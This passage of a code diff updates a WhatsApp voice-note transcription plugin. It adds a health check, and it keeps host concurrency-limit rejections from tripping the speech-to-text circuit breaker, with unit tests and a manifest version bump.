open circuit breaker, a missing or unusable backend URL, and + * a delivery webhook that aborts every time all left the dashboard green while nothing was transcribed. + * Reports on the BASE config, since outside a hook the host resolves no per-session slice. + */ + healthCheck(): Promise<{ healthy: boolean; message?: string }> { + if (!this.ctxRef || !this.coordinator) { + return Promise.resolve({ healthy: false, message: "voice-transcription: not enabled" }); + } + const cfg = this.ctxRef.config; + const stt = readOptionalString(cfg, "sttBaseUrl"); + if (!stt) { + return Promise.resolve({ healthy: false, message: "voice-transcription: sttBaseUrl is not set" }); + } + const sttProblem = backendUrlProblem(stt); + if (sttProblem) { + return Promise.resolve({ healthy: false, message: `voice-transcription: sttBaseUrl ${sttProblem}` }); + } + const deliveryUrl = readOptionalString(cfg, "deliveryWebhookUrl"); + const deliveryProblem = deliveryUrl ? backendUrlProblem(deliveryUrl) : null; + if (deliveryProblem) { + return Promise.resolve({ + healthy: false, + message: `voice-transcription: deliveryWebhookUrl ${deliveryProblem}`, + }); + } + if (!deliveryUrl && readChatDelivery(cfg) === "off") { + return Promise.resolve({ + healthy: false, + message: "voice-transcription: no delivery configured, transcripts have nowhere to go", + }); + } + if (this.provider && !this.provider.isHealthy()) { + return Promise.resolve({ + healthy: false, + message: "voice-transcription: STT circuit breaker is open, the backend is failing", + }); + } + return Promise.resolve({ healthy: true, message: `voice-transcription: ${readString(cfg, "model", "small")}` }); + } + onDisable(context: PluginContext): Promise { this.coordinator = null; + this.provider = null; context.logger.log("Voice transcription plugin disabled", { action: "transcription_disabled", }); @@ -160,20 +259,20 @@ export class VoiceTranscriptionPlugin implements IPlugin { private build(context: PluginContext): TranscriptionCoordinator { const cfg = context.config; - const provider = new OpenAiSttClient({ + const provider = (this.provider = new OpenAiSttClient({ baseUrl: readString(cfg, "sttBaseUrl", ""), apiKey: readOptionalString(cfg, "sttApiKey"), model: readString(cfg, "model", "small"), language: readOptionalString(cfg, "language"), timeoutMs: readTimeoutMs(cfg), net: context.net, - }); + })); const deliveryUrl = readString(cfg, "deliveryWebhookUrl", ""); const delivery = deliveryUrl ? new WebhookDelivery({ url: deliveryUrl, secret: readOptionalString(cfg, "deliverySecret"), - timeoutMs: readNumber(cfg, "deliveryTimeoutMs", 5000), + timeoutMs: readDeliveryTimeoutMs(cfg), net: context.net, }) : undefined; diff --git a/voice-transcription/manifest.json b/voice-transcription/manifest.json index bf04ad4..2734f4c 100644 --- a/voice-transcription/manifest.json +++ b/voice-transcription/manifest.json @@ -1,7 +1,7 @@ { "id": "voice-transcription", "name": "Voice Note Transcription", - "version": "1.2.7", + "version": "1.2.8", "type": "extension", "main": "dist/index.js", "description": "Transcribes inbound WhatsApp voice notes to text via an OpenAI-compatible speech-to-text backend (self-hosted Speaches/faster-whisper or hosted Groq/OpenAI) and delivers a `message.transcription` event to your webhook \u2014 so bots and AI can read and reply to audio. Off the message-delivery path; disabled until enabled.", @@ -20,8 +20,8 @@ "openwa" ], "status": "beta", - "minOpenWAVersion": "0.7.0", - "testedOpenWAVersion": "0.23.0", + "minOpenWAVersion": "0.8.0", + "testedOpenWAVersion": "0.23.3", "provides": [ "transcription" ], @@ -129,7 +129,7 @@ "title": "Delivery timeout (ms)", "default": 5000, "min": 1000, - "max": 30000 + "max": 25000 }, "chatDelivery": { "type": "string", diff --git a/voice-transcription/openai-stt.client.test.ts b/voice-transcription/openai-stt.client.test.ts index b8438c5..9b1859b 100644 --- a/voice-transcription/openai-stt.client.test.ts +++ b/voice-transcription/openai-stt.client.test.ts @@ -1,7 +1,7 @@ import { test } from 'node:test'; import assert from 'node:assert/strict'; import type { PluginNetCapability, PluginNetRequestInit, PluginNetResponse } from '../types/openwa'; -import { OpenAiSttClient, sanitizeContentType } from './openai-stt.client.ts'; +import { OpenAiSttClient, isHostBackpressure, sanitizeContentType } from './openai-stt.client.ts'; test('sanitizeContentType keeps a valid mimetype (codec-stripped) but rejects CRLF / garbage', () => { assert.equal(sanitizeContentType('audio/ogg; codecs=opus'), 'audio/ogg'); // real PTT — codec stripped, kept @@ -148,3 +148,46 @@ test('the circuit re-closes after the cooldown elapses', async () => { await assert.rejects(c.transcribe(a, 'audio/ogg'), /econnrefused/); // closed → hits net again assert.equal(calls(), 2); }); + +test('host backpressure does not open the circuit breaker', async () => { + // The host rejects a fetch past its GLOBAL 16-slot limit, and a capability call past the per-plugin + // in-flight limit, both instantly and both shared with every other plugin on the gateway. Counting + // them as backend failures opened the breaker on a healthy backend: a busy line saturates the pool, + // the rejections are immediate and therefore consecutive, and five in a row stopped transcription for + // the whole cooldown. + assert.equal(isHostBackpressure(new Error('too many concurrent plugin net.fetch calls (max 16); retry shortly')), true); + assert.equal(isHostBackpressure(new Error('capability call rejected: too many concurrent capability calls (limit 32)')), true); + assert.equal(isHostBackpressure(new Error('ECONNREFUSED 127.0.0.1:7000')), false); + assert.equal(isHostBackpressure(new Error('STT 500 Internal Server Error')), false); + + let now = 0; + const client = new OpenAiSttClient({ + baseUrl: 'http://localhost:7000', + model: 'small', + timeoutMs: 1000, + net: { fetch: async () => { throw new Error('too many concurrent plugin net.fetch calls (max 16); retry shortly'); } } as never, + now: () => now, + } as never); + + for (let i = 0; i < 8; i++) { + await assert.rejects(client.transcribe(new Uint8Array([1]), 'audio/ogg')); + } + assert.equal(client.isHealthy(), true, 'a saturated host must not be reported as a failing backend'); +}); + +test('real backend failures still open the circuit breaker', async () => { + // The guard rail for the test above: the breaker must still do its job. + let now = 0; + const client = new OpenAiSttClient({ + baseUrl: 'http://localhost:7000', + model: 'small', + timeoutMs: 1000, + net: { fetch: async () => { throw new Error('ECONNREFUSED 127.0.0.1:7000'); } } as never, + now: () => now, + } as never); + + for (let i = 0; i < 8; i++) { + await assert.rejects(client.transcribe(new Uint8Array([1]), 'audio/ogg')); + } + assert.equal(client.isHealthy(), false, 'a dead backend still opens the breaker'); +}); diff --git a/voice-transcription/openai-stt.client.ts b/voice-transcription/openai-stt.client.ts index 1822788..d1df7fc 100644 --- a/voice-transcription/openai-stt.client.ts +++ b/voice-transcription/openai-stt.client.ts @@ -41,6 +41,18 @@ export interface OpenAiSttOptions { * `ctx.net.fetch`. The audio is uploaded as a binary multipart body (a Buffer) — it crosses the * sandbox→host boundary via structuredClone intact, which a string body could not. */ +/** + * True when the host refused the call because IT is saturated, not because the backend failed. Both + * limits are shared with every other plugin on the gateway, so this says nothing about the STT service + * and must not count toward the circuit breaker. The host throws a plain Error carrying no code, so the + * message is the only discriminator available; the match is deliberately on the phrase both messages + * share rather than on either exact string. + */ +export function isHostBackpressure(err: unknown): boolean { + const message = err instanceof Error ? err.message : String(err ?? ''); + return /too many concurrent/i.test(message); +} + export class OpenAiSttClient implements SttProvider { private readonly base: string; private readonly failureThreshold: number; @@ -70,9 +82,19 @@ export class OpenAiSttClient implements SttProvider { this.consecutiveFailures = 0; return result; } catch (err) { - this.consecutiveFailures++; - if (this.consecutiveFailures >= this.failureThreshold) { - this.openUntil = this.now() + this.cooldownMs; + // Host backpressure is not a backend failure. The host rejects a fetch past its GLOBAL 16-slot + // limit ("too many concurrent plugin net.fetch calls") and a capability call past the per-plugin + // in-flight limit ("too many concurrent capability calls"), both instantly and both shared with + // every other plugin on the gateway. Counting them opened the breaker on a perfectly healthy + // backend: a busy line saturates the pool, the rejections are immediate and therefore + // consecutive, and five in a row stopped transcription for the whole cooldown. Matched on the + // message because the host throws a plain Error with no code; matched loosely so a reworded + // limit still lands here rather than being counted as a backend fault. + if (!isHostBackpressure(err)) { + this.consecutiveFailures++; + if (this.consecutiveFailures >= this.failureThreshold) { + this.openUntil = this.now() + this.cooldownMs; + } } throw err; }